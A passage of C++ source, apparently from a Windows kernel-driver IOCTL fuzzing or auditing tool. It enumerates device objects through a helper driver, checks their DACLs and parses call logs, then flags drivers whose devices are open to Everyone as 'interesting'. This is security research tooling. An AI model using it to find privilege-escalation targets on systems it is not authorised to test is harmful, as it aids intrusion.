GetCurrentProcess(),\n &hTarget,\n 0, FALSE,\n DUPLICATE_SAME_ACCESS))\n {\n REQUEST_BUFFER Request;\n ZeroMemory(&Request, sizeof(Request)); \n\n Request.Code = C_GET_OBJECT_NAME;\n Request.ObjectName.hObject = hTarget;\n\n // get device name by handle\n if (DrvDeviceRequest(&Request, sizeof(Request)) && \n Request.Status == S_SUCCESS)\n {\n try\n {\n std::string ObjectName = std::string(Request.ObjectName.szObjectName); \n\n if (m_OpenedInfo.find(ObjectName) != m_OpenedInfo.end())\n {\n std::list::iterator e = m_OpenedInfo[ObjectName].begin();\n while (e != m_OpenedInfo[ObjectName].end())\n {\n if (e->ProcessId == dwProcessId)\n {\n // this process is allready in list\n goto close;\n }\n\n ++e;\n }\n }\n\n PROCESSINFO ProcessInfo;\n ProcessInfo.ProcessId = dwProcessId;\n ProcessInfo.ProcessName = std::string(szProcessName);\n m_OpenedInfo[ObjectName].push_back(ProcessInfo);\n }\n catch (...)\n {\n\n } \n\n DbgMsg(\n __FILE__, __LINE__, \"Process=\\\"%s\\\" PID=%d Handle=0x%.8x \\\"%s\\\"\\n\",\n szProcessName, dwProcessId, (DWORD)Info->Handles[i].HandleValue,\n Request.ObjectName.szObjectName\n );\n }\nclose:\n CloseHandle(hTarget);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"DuplicateHandle() ERROR %d\\n\", GetLastError());\n }\n\n CloseHandle(hProcess);\n } \n }\n }\n\n M_FREE(Info);\n } \n\n return dwRet;\n}\n//--------------------------------------------------------------------------------------\nchar *GetNormalizedDriverFilePath(char *lpszPath)\n{\n char szSysDir[MAX_PATH], szSysDir_l[MAX_PATH];\n GetSystemDirectoryA(szSysDir, sizeof(szSysDir));\n strcpy(szSysDir_l, szSysDir);\n strlwr(szSysDir_l);\n\n char *s = NULL;\n char *lpszSysDirName_l = GetNameFromFullPath(szSysDir_l);\n\n size_t Path_lSize = strlen(lpszPath) + 1;\n char *lpszPath_l = (char *)M_ALLOC(Path_lSize);\n if (lpszPath_l)\n {\n // low-case duplicates of strings need only for matching\n strcpy(lpszPath_l, lpszPath);\n strlwr(lpszPath_l);\n\n // normalize module name\n if (!strncmp(lpszPath, \"\\\\??\\\\\", 4))\n {\n // '\\??\\C:\\WINDOWS\\path_to_module'\n size_t len = strlen(lpszPath) - 3;\n if (s = (char *)M_ALLOC(len))\n {\n strcpy(s, lpszPath + 4);\n }\n }\n else if (!strncmp(lpszPath_l, \"\\\\systemroot\\\\\", 12))\n {\n // '\\SystemRoot\\WINDOWS\\path_to_module'\n char szPath[MAX_PATH]; \n GetEnvironmentVariableA(\"SystemRoot\", szPath, MAX_PATH - 1);\n\n size_t len = strlen(szPath) + strlen(lpszPath + 11) + 1;\n if (s = (char *)M_ALLOC(len))\n {\n strcpy(s, szPath);\n strcat(s, lpszPath + 11);\n }\n }\n else if (GetNameFromFullPath(lpszPath) == lpszPath)\n { \n // just module name\n size_t len = strlen(szSysDir) + strlen(lpszPath) + 0x20;\n if (s = (char *)M_ALLOC(len))\n {\n strcpy(s, szSysDir);\n strcat(s, \"\\\\drivers\\\\\");\n strcat(s, lpszPath);\n\n // look for this module in drivers directory\n if (!IsFileExists(s))\n {\n M_FREE(s);\n s = NULL;\n } \n } \n }\n else if (\n szSysDir[1] == ':' &&\n !strncmp(lpszPath_l, (char *)szSysDir_l + 2, strlen(szSysDir_l) - 2))\n {\n // '\\WINDOWS\\system32\\path_to_module'\n size_t len = strlen(lpszPath) + 3;\n if (s = (char *)M_ALLOC(len))\n {\n strncpy(s, szSysDir, 2);\n strcat(s, lpszPath);\n }\n }\n else if (\n szSysDir[1] == ':' && lpszSysDirName_l &&\n !strncmp(lpszPath_l, lpszSysDirName_l, strlen(lpszSysDirName_l)))\n {\n // 'system32\\path_to_module'\n size_t len = strlen(szSysDir) + strlen(lpszPath) + 1;\n if (s = (char *)M_ALLOC(len))\n {\n strcpy(s, szSysDir);\n strcat(s, lpszPath + strlen(lpszSysDirName_l));\n }\n }\n else\n {\n // no matches, just return a copy of the source string\n size_t len = strlen(lpszPath) + 1;\n if (s = (char *)M_ALLOC(len))\n {\n strcpy(s, lpszPath);\n }\n } \n\n M_FREE(lpszPath_l);\n } \n\n if (s)\n {\n // expand environment variables\n char *lpszExp = NULL;\n DWORD ExpLen = ExpandEnvironmentStringsA(s, lpszExp, 0);\n if (ExpLen > 0)\n {\n ExpLen += 2;\n if (lpszExp = (char *)M_ALLOC(ExpLen))\n {\n if (ExpandEnvironmentStringsA(s, lpszExp, ExpLen) > 0)\n {\n M_FREE(s);\n s = lpszExp;\n }\n else\n {\n M_FREE(lpszExp);\n }\n }\n }\n\n if (!IsFileExists(s))\n {\n try\n {\n std::string newstr = s;\n newstr += \".exe\";\n\n /*\n Some user-mode services can have \n image file path without extension.\n */\n if (IsFileExists((char *)newstr.c_str()))\n {\n M_FREE(s);\n\n size_t newlen = strlen(newstr.c_str()) + 1;\n if (s = (char *)M_ALLOC(newlen))\n {\n strcpy(s, newstr.c_str());\n }\n }\n } \n catch (...)\n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"() Exception\\n\");\n }\n }\n }\n\n return s;\n}\n//--------------------------------------------------------------------------------------\nBOOL GetDescrAndCompanyInfo(char *lpszFilePath, char **lpszDescr, char **lpszCompany)\n{\n DWORD dwHandle = 0;\n BOOL bRet = FALSE;\n\n // query size of versioin info resource\n DWORD dwSize = GetFileVersionInfoSizeA(lpszFilePath, &dwHandle);\n if (dwSize > 0)\n {\n PVOID pInfo = M_ALLOC(dwSize);\n if (pInfo)\n {\n ZeroMemory(pInfo, dwSize);\n\n // load version info resource from the target file\n if (GetFileVersionInfoA(lpszFilePath, dwHandle, dwSize, pInfo))\n {\n UINT uValueSize = 0;\n struct LANG_INFO \n {\n WORD wLanguage;\n WORD wCodePage;\n\n } *LangInfo = NULL;\n\n // get languages table\n if (VerQueryValue(pInfo, TEXT(\"\\\\VarFileInfo\\\\Translation\"), (PVOID *)&LangInfo, &uValueSize))\n {\n for (int i = 0; i < uValueSize / sizeof(struct LANG_INFO); i++)\n {\n char SubName[MAX_PATH], *lpValue = NULL;\n \n sprintf(\n SubName, \"\\\\StringFileInfo\\\\%04x%04x\\\\FileDescription\", \n LangInfo[i].wLanguage, LangInfo[i].wCodePage\n );\n \n // query file description value\n if (lpszDescr && \n VerQueryValue(pInfo, SubName, (PVOID *)&lpValue, &uValueSize) &&\n lpValue)\n {\n if (*lpszDescr = (char *)M_ALLOC(strlen(lpValue) + 1))\n {\n lstrcpyA(*lpszDescr, lpValue);\n }\n }\n\n sprintf(\n SubName, \"\\\\StringFileInfo\\\\%04x%04x\\\\CompanyName\", \n LangInfo[i].wLanguage, LangInfo[i].wCodePage\n );\n\n // query file description value\n lpValue = NULL;\n if (lpszCompany && \n VerQueryValue(pInfo, SubName, (PVOID *)&lpValue, &uValueSize) &&\n lpValue)\n {\n if (*lpszCompany = (char *)M_ALLOC(strlen(lpValue) + 1))\n {\n lstrcpyA(*lpszCompany, lpValue);\n }\n }\n\n if (LangInfo[i].wCodePage == 1252)\n {\n // \"ANSI Latin 1; Western European (Windows)\" is preffered\n break;\n } \n }\n\n bRet = TRUE;\n } \n }\n else\n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"(): GetFileVersionInfo() ERROR %d\\r\\n\", GetLastError());\n }\n\n M_FREE(pInfo);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"(): LocalAlloc() ERROR %d\\r\\n\", GetLastError());\n }\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"(): GetFileVersionInfo() ERROR %d\\r\\n\", GetLastError());\n }\n\n return bRet;\n}\n//--------------------------------------------------------------------------------------\nBOOL GetDeviceInfo(\n char *lpszDeviceName, \n PVOID *pDriverObject, \n PVOID *pDeviceObject,\n char *lpszDriverObjectName,\n char *lpszDriverFilePath)\n{\n UCHAR Buff[sizeof(REQUEST_BUFFER) + MAX_PATH];\n PREQUEST_BUFFER Request = (PREQUEST_BUFFER)Buff;\n ZeroMemory(&Buff, sizeof(Buff));\n\n if (pDriverObject)\n {\n *pDriverObject = NULL;\n }\n\n if (pDeviceObject)\n {\n *pDeviceObject = NULL;\n }\n\n if (lpszDriverObjectName)\n {\n ZeroMemory(lpszDriverObjectName, MAX_REQUEST_STRING);\n }\n\n if (lpszDriverFilePath)\n {\n ZeroMemory(lpszDriverFilePath, MAX_REQUEST_STRING);\n }\n\n strncpy(Request->Buff, lpszDeviceName, MAX_PATH - 1);\n Request->Code = C_GET_DEVICE_INFO; \n\n if (DrvDeviceRequest(Request, sizeof(Buff)) && \n Request->Status == S_SUCCESS)\n {\n if (pDriverObject)\n {\n *pDriverObject = Request->DeviceInfo.DriverObjectAddr;\n }\n\n if (pDeviceObject)\n {\n *pDeviceObject = Request->DeviceInfo.DeviceObjectAddr;\n }\n\n if (lpszDriverObjectName)\n {\n strcpy(lpszDriverObjectName, Request->DeviceInfo.szDriverObjectName);\n }\n\n if (lpszDriverFilePath)\n {\n strcpy(lpszDriverFilePath, Request->DeviceInfo.szDriverFilePath);\n }\n \n return TRUE;\n }\n\n return FALSE;\n}\n//--------------------------------------------------------------------------------------\nBOOL PrintObjectPermissions(HANDLE hObject, SE_OBJECT_TYPE ObjectType)\n{\n PACL pDacl = NULL;\n\n // get security information for the object\n DWORD Code = GetSecurityInfo(\n hObject,\n ObjectType,\n DACL_SECURITY_INFORMATION,\n NULL, NULL,\n &pDacl,\n NULL, NULL\n );\n if (Code != ERROR_SUCCESS)\n {\n return FALSE;\n }\n\n DWORD dwAceIndex = 0;\n PVOID pAce = NULL;\n\n // enumerate ACEs in ACL\n while (pDacl && GetAce(pDacl, dwAceIndex, &pAce))\n {\n PACE_HEADER pAceHeader = (PACE_HEADER)pAce;\n PSID pSid = NULL;\n ACCESS_MASK AccessMask = 0;\n\n dwAceIndex += 1;\n\n if (pAceHeader->AceType == ACCESS_ALLOWED_ACE_TYPE)\n {\n PACCESS_ALLOWED_ACE pAllowAce = (PACCESS_ALLOWED_ACE)pAce;\n pSid = (PSID)&pAllowAce->SidStart;\n AccessMask = pAllowAce->Mask;\n }\n else if (pAceHeader->AceType == ACCESS_DENIED_ACE_TYPE)\n {\n PACCESS_DENIED_ACE pDenyAce = (PACCESS_DENIED_ACE)pAce;\n pSid = (PSID)&pDenyAce->SidStart;\n AccessMask = pDenyAce->Mask;\n }\n else\n {\n // other type of the ACE\n continue;\n }\n\n char szName[MAX_PATH], szReferencedDomainName[MAX_PATH];\n DWORD dwNameSize = MAX_PATH, dwReferencedDomainNameSize = MAX_PATH;\n SID_NAME_USE NameUse;\n\n // query account name by SID\n if (LookupAccountSidA(\n NULL,\n pSid,\n szName, &dwNameSize,\n szReferencedDomainName, &dwReferencedDomainNameSize,\n &NameUse))\n {\n DbgMsg(\n __FILE__, __LINE__,\n \"%8s: 0x%.8x %s\\\\%s\\n\", \n pAceHeader->AceType == ACCESS_ALLOWED_ACE_TYPE ? \"ALLOW\" : \"DENY\", \n AccessMask, szReferencedDomainName, szName\n );\n } \n else\n {\n char *pSidStr = NULL;\n if (ConvertSidToStringSidA(pSid, &pSidStr))\n {\n DbgMsg(\n __FILE__, __LINE__,\n \"%8s: 0x%.8x %s\\n\", \n pAceHeader->AceType == ACCESS_ALLOWED_ACE_TYPE ? \"ALLOW\" : \"DENY\", \n AccessMask, pSidStr\n );\n\n LocalFree(pSidStr);\n }\n }\n } \n\n return TRUE;\n}\n//--------------------------------------------------------------------------------------\nBOOL GetDesiredPermissions(HANDLE hObject, SE_OBJECT_TYPE ObjectType, PDWORD pdwEveryone, PDWORD pdwAuthenticated)\n{\n PACL pDacl = NULL;\n\n // get security information for the object\n DWORD Code = GetSecurityInfo(\n hObject,\n ObjectType,\n DACL_SECURITY_INFORMATION,\n NULL, NULL,\n &pDacl,\n NULL, NULL\n );\n if (Code != ERROR_SUCCESS)\n {\n return FALSE;\n }\n\n DWORD SidSize = SECURITY_MAX_SID_SIZE;\n PSID pEveryone = (PSID)M_ALLOC(SidSize);\n if (pEveryone == NULL)\n {\n DbgMsg(__FILE__, __LINE__, \"M_ALLOC() ERROR %d\\n\", Code);\n return FALSE;\n }\n\n PSID pAuthenticated = (PSID)M_ALLOC(SidSize);\n if (pAuthenticated == NULL)\n {\n DbgMsg(__FILE__, __LINE__, \"M_ALLOC() ERROR %d\\n\", Code);\n M_FREE(pEveryone);\n return FALSE;\n }\n\n // Create a SID for the Everyone group on the local computer.\n if (!CreateWellKnownSid(WinWorldSid, NULL, pEveryone, &SidSize))\n {\n DbgMsg(__FILE__, __LINE__, \"CreateWellKnownSid() ERROR %d\\n\", Code);\n M_FREE(pEveryone);\n M_FREE(pAuthenticated);\n return FALSE;\n }\n\n // Create a SID for the any authenticated users group on the local computer.\n if (!CreateWellKnownSid(WinAuthenticatedUserSid, NULL, pAuthenticated, &SidSize))\n {\n DbgMsg(__FILE__, __LINE__, \"CreateWellKnownSid() ERROR %d\\n\", Code);\n M_FREE(pEveryone);\n M_FREE(pAuthenticated);\n return FALSE;\n }\n\n DWORD dwAceIndex = 0;\n PVOID pAce = NULL;\n\n // enumerate ACEs in ACL\n while (pDacl && GetAce(pDacl, dwAceIndex, &pAce))\n {\n PACE_HEADER pAceHeader = (PACE_HEADER)pAce;\n PSID pSid = NULL;\n ACCESS_MASK AccessMask = 0;\n\n dwAceIndex += 1;\n\n if (pAceHeader->AceType == ACCESS_ALLOWED_ACE_TYPE)\n {\n PACCESS_ALLOWED_ACE pAllowAce = (PACCESS_ALLOWED_ACE)pAce;\n pSid = (PSID)&pAllowAce->SidStart;\n AccessMask = pAllowAce->Mask;\n }\n else if (pAceHeader->AceType == ACCESS_DENIED_ACE_TYPE)\n {\n PACCESS_DENIED_ACE pDenyAce = (PACCESS_DENIED_ACE)pAce;\n pSid = (PSID)&pDenyAce->SidStart;\n AccessMask = pDenyAce->Mask;\n }\n else\n {\n // other type of the ACE\n continue;\n }\n\n if (pAceHeader->AceType == ACCESS_ALLOWED_ACE_TYPE)\n {\n if (EqualSid(pSid, pEveryone))\n {\n *pdwEveryone = AccessMask;\n }\n else if (EqualSid(pSid, pAuthenticated))\n {\n *pdwAuthenticated = AccessMask;\n }\n } \n } \n\n M_FREE(pEveryone);\n M_FREE(pAuthenticated);\n\n return TRUE;\n}\n//--------------------------------------------------------------------------------------\nDWORD ParseIoctlsLog(char *lpszIoctlsLogPath)\n{\n DWORD dwRet = 0;\n\n m_DeviceCallsCount.clear();\n m_DriverCallsCount.clear();\n\n DbgMsg(__FILE__, __LINE__, \"Parsing global IOCLs log \\\"%s\\\"...\\n\", lpszIoctlsLogPath);\n\n HANDLE hFile = CreateFileA(lpszIoctlsLogPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);\n if (hFile == INVALID_HANDLE_VALUE)\n {\n DbgMsg(__FILE__, __LINE__, \"CreateFile() ERROR %d\\n\", GetLastError());\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"(): Error while opening log file \\\"%s\\\"\\n\", lpszIoctlsLogPath);\n return 0;\n }\n\n struct \n {\n std::string Timestamp;\n std::string Device;\n std::string Driver;\n\n } IoctlInfo = { \"\", \"\", \"\" };\n\n #define READBUFF_SIZE 0x1000\n char szBuff[READBUFF_SIZE];\n DWORD dwReaded = 0;\n\n LARGE_INTEGER FileSize;\n FileSize.LowPart = GetFileSize(hFile, (LPDWORD)&FileSize.HighPart);\n\n while (ReadFile(hFile, szBuff, READBUFF_SIZE, &dwReaded, NULL) && dwReaded > 0)\n {\n char *lpszLine = szBuff;\n LARGE_INTEGER Position, Processed; \n Position.QuadPart = Processed.QuadPart = 0;\n Position.LowPart = SetFilePointer(hFile, 0, &Position.HighPart, FILE_CURRENT); \n \n for (size_t i = 0; i < dwReaded - 1; i++)\n {\n if (szBuff[i] == '\\r' && szBuff[i + 1] == '\\n')\n {\n // process single line\n szBuff[i] = '\\0';\n\n #define M_TIMESTAMP \"timestamp=\"\n #define M_DEVICE \"device=\"\n #define M_DRIVER \"driver=\"\n\n try\n {\n if (!strncmp(lpszLine, M_TIMESTAMP, strlen(M_TIMESTAMP)))\n {\n // request timestamp field\n IoctlInfo.Timestamp = std::string(lpszLine + strlen(M_TIMESTAMP));\n }\n else if (!strncmp(lpszLine, M_DEVICE, strlen(M_DEVICE)))\n {\n // device object name\n IoctlInfo.Device = std::string(lpszLine + strlen(M_DEVICE));\n }\n else if (!strncmp(lpszLine, M_DRIVER, strlen(M_DRIVER)))\n {\n // driver object name\n IoctlInfo.Driver = std::string(lpszLine + strlen(M_DRIVER));\n }\n\n if (IoctlInfo.Timestamp.length() > 0 &&\n IoctlInfo.Device.length() > 0 &&\n IoctlInfo.Driver.length() > 0)\n { \n // collect call statistics for device\n if (m_DeviceCallsCount.find(IoctlInfo.Device) == m_DeviceCallsCount.end())\n {\n m_DeviceCallsCount[IoctlInfo.Device] = 1;\n }\n else\n {\n m_DeviceCallsCount[IoctlInfo.Device] += 1;\n }\n\n // collect call statistics for driver\n if (m_DriverCallsCount.find(IoctlInfo.Driver) == m_DriverCallsCount.end())\n {\n m_DriverCallsCount[IoctlInfo.Driver] = 1;\n }\n else\n {\n m_DriverCallsCount[IoctlInfo.Driver] += 1;\n }\n \n IoctlInfo.Timestamp = \"\";\n IoctlInfo.Device = \"\";\n IoctlInfo.Driver = \"\";\n\n dwRet += 1;\n }\n }\n catch (...)\n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"(): Exception occurs\\n\");\n\n m_DeviceCallsCount.clear();\n m_DriverCallsCount.clear();\n\n dwRet = 0;\n\n goto end;\n }\n\n Processed.QuadPart = Position.QuadPart - dwReaded + i + 2;\n lpszLine = szBuff + i + 2;\n }\n }\n\n if (Position.QuadPart >= FileSize.QuadPart)\n {\n // end of the file\n break;\n }\n\n if (Processed.QuadPart > 0)\n {\n SetFilePointer(hFile, Processed.LowPart, &Processed.HighPart, FILE_BEGIN);\n } \n }\n\n DbgMsg(__FILE__, __LINE__, \"[+] %d entries readed\\n\", dwRet);\n\nend:\n CloseHandle(hFile);\n\n return dwRet;\n}\n//--------------------------------------------------------------------------------------\nvoid PrintDeviceObjectsInfo(char *lpszIoctlsLogPath)\n{\n // required for enumerating file handles\n LoadPrivileges(SE_DEBUG_NAME); \n\n if (lpszIoctlsLogPath)\n {\n ParseIoctlsLog(lpszIoctlsLogPath);\n } \n\n // collect information about opened device handles\n CollectFileHandles();\n\n try\n {\n DWORD dwProcessedDrivers = 0, dwProcessedDevices = 0;\n std::map InterestingDrivers;\n DRVINFO_LIST::iterator e_drv;\n\n // enumerate drivers \n for (e_drv = m_DriversInfo.begin(); e_drv != m_DriversInfo.end(); ++e_drv)\n {\n DWORD dwCallsCount = 0;\n DRVINFO_ENTRY *DrvInfo = &e_drv->second;\n\n DrvInfo->first.Company = std::string(\"\");\n DrvInfo->first.Descr = std::string(\"\");\n\n if (m_DriverCallsCount.find(DrvInfo->first.ObjectName) != m_DriverCallsCount.end())\n {\n // IOCTLs statistic by calls count for this driver is available\n dwCallsCount = m_DriverCallsCount[DrvInfo->first.ObjectName];\n }\n else\n {\n dwCallsCount = 0;\n }\n\n if (lpszIoctlsLogPath)\n {\n // print calls count statistic from parsed log\n DbgMsg(\n __FILE__, __LINE__, \"DRIVER: \"IFMT\" \\\"%s\\\" %d total calls\\n\",\n DrvInfo->first.Object, DrvInfo->first.ObjectName.c_str(), dwCallsCount\n );\n }\n else\n {\n DbgMsg(\n __FILE__, __LINE__, \"DRIVER: \"IFMT\" \\\"%s\\\"\\n\",\n DrvInfo->first.Object, DrvInfo->first.ObjectName.c_str()\n );\n }\n\n if (strlen(DrvInfo->first.FilePath.c_str()) > 0)\n {\n char *lpszPath = GetNormalizedDriverFilePath((char *)DrvInfo->first.FilePath.c_str());\n if (lpszPath)\n {\n char *lpszDescr = NULL, *lpszCompany = NULL;\n\n DrvInfo->first.FilePath = std::string(lpszPath); \n \n // query file description and vendor name from resources\n GetDescrAndCompanyInfo(lpszPath, &lpszDescr, &lpszCompany);\n\n WORD c = ccol(CCOL_YELLOW);\n\n if (lpszDescr)\n {\n DbgMsg(__FILE__, __LINE__, \"Description: \\\"%s\\\"\\n\", lpszDescr);\n DrvInfo->first.Descr = std::string(lpszDescr);\n M_FREE(lpszDescr);\n }\n\n if (lpszCompany)\n {\n DbgMsg(__FILE__, __LINE__, \"Company: \\\"%s\\\"\\n\", lpszCompany);\n DrvInfo->first.Company = std::string(lpszCompany);\n M_FREE(lpszCompany);\n }\n\n ccol(c);\n\n DbgMsg(__FILE__, __LINE__, \"File path: \\\"%s\\\"\\n\", lpszPath); \n M_FREE(lpszPath);\n } \n } \n\n // enumerate devices for this driver\n DEVINFO_LIST::iterator e_dev;\n for (e_dev = DrvInfo->second.begin(); e_dev != DrvInfo->second.end(); ++e_dev)\n { \n PDEVINFO DevInfo = &e_dev->second;\n char *lpszAccess = \"\";\n WORD c = 0;\n\n if (m_DeviceCallsCount.find(DevInfo->ObjectName) != m_DeviceCallsCount.end())\n {\n // IOCTLSs statistic by calls count for this device is available\n dwCallsCount = m_DeviceCallsCount[DevInfo->ObjectName];\n }\n else\n {\n dwCallsCount = 0;\n }\n\n switch (DevInfo->Access)\n {\n case DevAccessOpenError:\n\n lpszAccess = \"Open Error\";\n c = CCOL_RED;\n break;\n\n case DevAccessEveryone:\n\n lpszAccess = \"Everyone\";\n c = CCOL_GREEN;\n break;\n\n case DevAccessAuthenticated:\n\n lpszAccess = \"Authenticated\";\n break;\n\n case DevAccessRestricted:\n\n lpszAccess = \"Restricted\";\n break;\n }\n\n if (c != 0)\n {\n c = ccol(c);\n }\n\n if (lpszIoctlsLogPath)\n {\n // print calls count statistic from parsed log\n DbgMsg(\n __FILE__, __LINE__, \" * \"IFMT\" \\\"%s\\\" Access: %s, %d calls\\n\",\n DevInfo->Object, DevInfo->ObjectName.c_str(), lpszAccess, dwCallsCount\n );\n } \n else\n {\n DbgMsg(\n __FILE__, __LINE__, \" * \"IFMT\" \\\"%s\\\" Access: %s\\n\",\n DevInfo->Object, DevInfo->ObjectName.c_str(), lpszAccess\n );\n } \n\n if (c != 0)\n {\n ccol(c);\n }\n\n std::string ObjectName = DevInfo->ObjectName.c_str();\n if (m_OpenedInfo.find(ObjectName) != m_OpenedInfo.end())\n {\n DbgMsg(__FILE__, __LINE__, \" Opened by:\\n\"); \n\n // enumerate processes, that uses this device\n std::list::iterator e_pr = m_OpenedInfo[ObjectName].begin();\n\n while (e_pr != m_OpenedInfo[ObjectName].end())\n {\n DbgMsg(\n __FILE__, __LINE__, \" %.5d \\\"%s\\\"\\n\",\n e_pr->ProcessId, e_pr->ProcessName.c_str()\n );\n\n ++e_pr;\n }\n }\n\n if (DevInfo->Access == DevAccessEveryone &&\n strlen(DrvInfo->first.FilePath.c_str()) > 0)\n {\n InterestingDrivers[DrvInfo->first.Object] = DrvInfo->first;\n }\n\n dwProcessedDevices += 1;\n }\n\n dwProcessedDrivers += 1;\n\n DbgMsg(__FILE__, __LINE__, \"\\n\");\n }\n\n DbgMsg(\n __FILE__, __LINE__, \"[+] %d devices in %d drivers displayed\\n\", \n dwProcessedDevices, dwProcessedDrivers\n );\n\n if (InterestingDrivers.size() > 0)\n {\n DbgMsg(__FILE__, __LINE__, \"[+] Interesting drivers:\\n\\n\");\n DbgMsg(__FILE__, __LINE__, \"\\n\");\n\n // enumerate drivers, that have devices accessible from user mode\n std::map::iterator e_drv;\n for (e_drv = InterestingDrivers.begin(); e_drv != InterestingDrivers.end(); ++e_drv)\n {\n DbgMsg(__FILE__, __LINE__, \"%s\\n\", e_drv->second.FilePath.c_str());\n\n WORD c = ccol(CCOL_YELLOW);\n \n DbgMsg(\n __FILE__, __LINE__, \"\\\"%s\\\", \\\"%s\\\"\\n\", \n e_drv->second.Company.c_str(), e_drv->second.Descr.c_str()\n );\n \n ccol(c);\n\n DbgMsg(__FILE__, __LINE__, \"\\n\");\n }\n\n DbgMsg(__FILE__, __LINE__, \"\\n\");\n }\n }\n catch (...)\n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"(): Exception occurs\\n\");\n }\n}\n//--------------------------------------------------------------------------------------\n#ifndef DIRECTORY_QUERY\n#define DIRECTORY_QUERY 0x0001\n#endif\n\n#ifndef SYMBOLIC_LINK_QUERY\n#define SYMBOLIC_LINK_QUERY 0x0001\n#endif\n\nvoid CollectDeviceObjectsInfo(LPWSTR lpRoot)\n{\n UNICODE_STRING usDirName;\n OBJECT_ATTRIBUTES ObjAttr;\n HANDLE hDir = NULL;\n\n if (!wcscmp(lpRoot, L\"//\"))\n {\n m_DriversInfo.clear();\n }\n\n UNICODE_FROM_WCHAR(&usDirName, lpRoot);\n InitializeObjectAttributes(&ObjAttr, &usDirName, OBJ_CASE_INSENSITIVE, NULL, NULL);\n\n GET_NATIVE(NtOpenDirectoryObject);\n GET_NATIVE(NtQueryDirectoryObject);\n GET_NATIVE(NtOpenSymbolicLinkObject);\n GET_NATIVE(NtQuerySymbolicLinkObject);\n\n // target open objects directory\n NTSTATUS ns = f_NtOpenDirectoryObject(\n &hDir,\n DIRECTORY_QUERY,\n &ObjAttr\n );\n if (NT_SUCCESS(ns))\n {\n ULONG ResultLen = 0, Context = 0;\n PDIRECTORY_BASIC_INFORMATION DirInfo = NULL;\n\nenum_obj:\n\n ResultLen = 0;\n DirInfo = NULL;\n \n // get required buffer size\n ns = f_NtQueryDirectoryObject(\n hDir,\n &DirInfo,\n ResultLen,\n TRUE,\n FALSE,\n &Context,\n &ResultLen\n );\n if ((ns == STATUS_BUFFER_TOO_SMALL || ns == STATUS_BUFFER_OVERFLOW) && ResultLen > 0)\n {\n // allocate memory for information\n if (DirInfo = (PDIRECTORY_BASIC_INFORMATION)M_ALLOC(ResultLen))\n {\n ZeroMemory(DirInfo, ResultLen);\n\n // query directory entry information\n ns = f_NtQueryDirectoryObject(\n hDir,\n DirInfo,\n ResultLen,\n TRUE,\n FALSE,\n &Context,\n NULL\n );\n if (NT_SUCCESS(ns))\n {\n // allocate memory for strings\n DWORD dwNameLen = DirInfo->ObjectName.Length;\n dwNameLen += ((DWORD)wcslen(usDirName.Buffer) + 2) * sizeof(WCHAR);\n\n PWSTR lpwcName = (PWSTR)M_ALLOC(dwNameLen);\n if (lpwcName)\n {\n ZeroMemory(lpwcName, dwNameLen); \n wcscpy(lpwcName, usDirName.Buffer);\n\n if (lpwcName[wcslen(lpwcName) - 1] != L'\\\\')\n {\n wcscat(lpwcName, L\"\\\\\");\n }\n\n memcpy(\n lpwcName + wcslen(lpwcName), \n DirInfo->ObjectName.Buffer, \n DirInfo->ObjectName.Length\n );\n\n DWORD dwTypeNameLen = DirInfo->ObjectTypeName.Length + sizeof(WCHAR);\n PWSTR lpwcTypeName = (PWSTR)M_ALLOC(dwTypeNameLen);\n if (lpwcTypeName)\n {\n ZeroMemory(lpwcTypeName, dwTypeNameLen); \n memcpy(lpwcTypeName, DirInfo->ObjectTypeName.Buffer, dwTypeNameLen - sizeof(WCHAR)); \n\n PVOID DriverObject = NULL, DeviceObject = NULL;\n char szDriverObjectName[MAX_REQUEST_STRING], szDeviceObjectName[MAX_PATH];\n char szDriverFilePath[MAX_REQUEST_STRING];\n\n ZeroMemory(szDeviceObjectName, sizeof(szDeviceObjectName));\n WideCharToMultiByte(CP_ACP, 0, lpwcName, -1, szDeviceObjectName, MAX_PATH - 1, NULL, NULL); \n\n // process devices\n if (!wcscmp(lpwcTypeName, L\"Device\") && wcscmp(GetNameFromFullPathW(lpwcName), DEVICE_NAME) &&\n GetDeviceInfo(szDeviceObjectName, \n &DriverObject, &DeviceObject, \n szDriverObjectName, szDriverFilePath))\n { \n DEVINFO DevInfo;\n DEVINFO_LIST *DevInfoList = NULL;\n\n try\n {\n // insert driver object info into the global list\n DRVINFO_LIST::iterator e = m_DriversInfo.find(DriverObject);\n if (e == m_DriversInfo.end())\n { \n DRVINFO_ENTRY DrvInfo;\n\n DrvInfo.first.Object = DriverObject;\n DrvInfo.first.ObjectName = std::string(szDriverObjectName);\n DrvInfo.first.FilePath = std::string(szDriverFilePath);\n\n m_DriversInfo[DriverObject] = DrvInfo;\n DevInfoList = &m_DriversInfo[DriverObject].second;\n }\n else\n {\n // driver is allready in list\n DevInfoList = &e->second.second;\n }\n\n DevInfo.Access = DevAccessOpenError;\n DevInfo.Object = DeviceObject;\n DevInfo.ObjectName = std::string(szDeviceObjectName);\n } \n catch (...)\n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"(): Exception occurs\\n\");\n goto skip_device;\n } \n\n GET_NATIVE(NtOpenFile);\n\n IO_STATUS_BLOCK StatusBlock;\n OBJECT_ATTRIBUTES ObjAttr;\n UNICODE_STRING usName;\n HANDLE hDevice = NULL;\n\n UNICODE_FROM_WCHAR(&usName, lpwcName);\n InitializeObjectAttributes(&ObjAttr, &usName, OBJ_CASE_INSENSITIVE, NULL, NULL);\n\n // try to open device\n ns = f_NtOpenFile(\n &hDevice,\n GENERIC_READ | GENERIC_WRITE | ACCESS_SYSTEM_SECURITY, \n &ObjAttr,\n &StatusBlock,\n FILE_SHARE_READ | FILE_SHARE_WRITE,\n 0 \n );\n if (NT_SUCCESS(ns))\n {\n DWORD dwEveryone = 0, dwAuthenticated = 0;\n\n // query security permissions for device\n if (GetDesiredPermissions(\n hDevice, SE_FILE_OBJECT, \n &dwEveryone, &dwAuthenticated) &&\n (dwEveryone != 0 || dwAuthenticated != 0))\n {\n if (dwEveryone & READ_CONTROL)\n {\n DevInfo.Access = DevAccessEveryone;\n }\n else if (dwAuthenticated & READ_CONTROL)\n 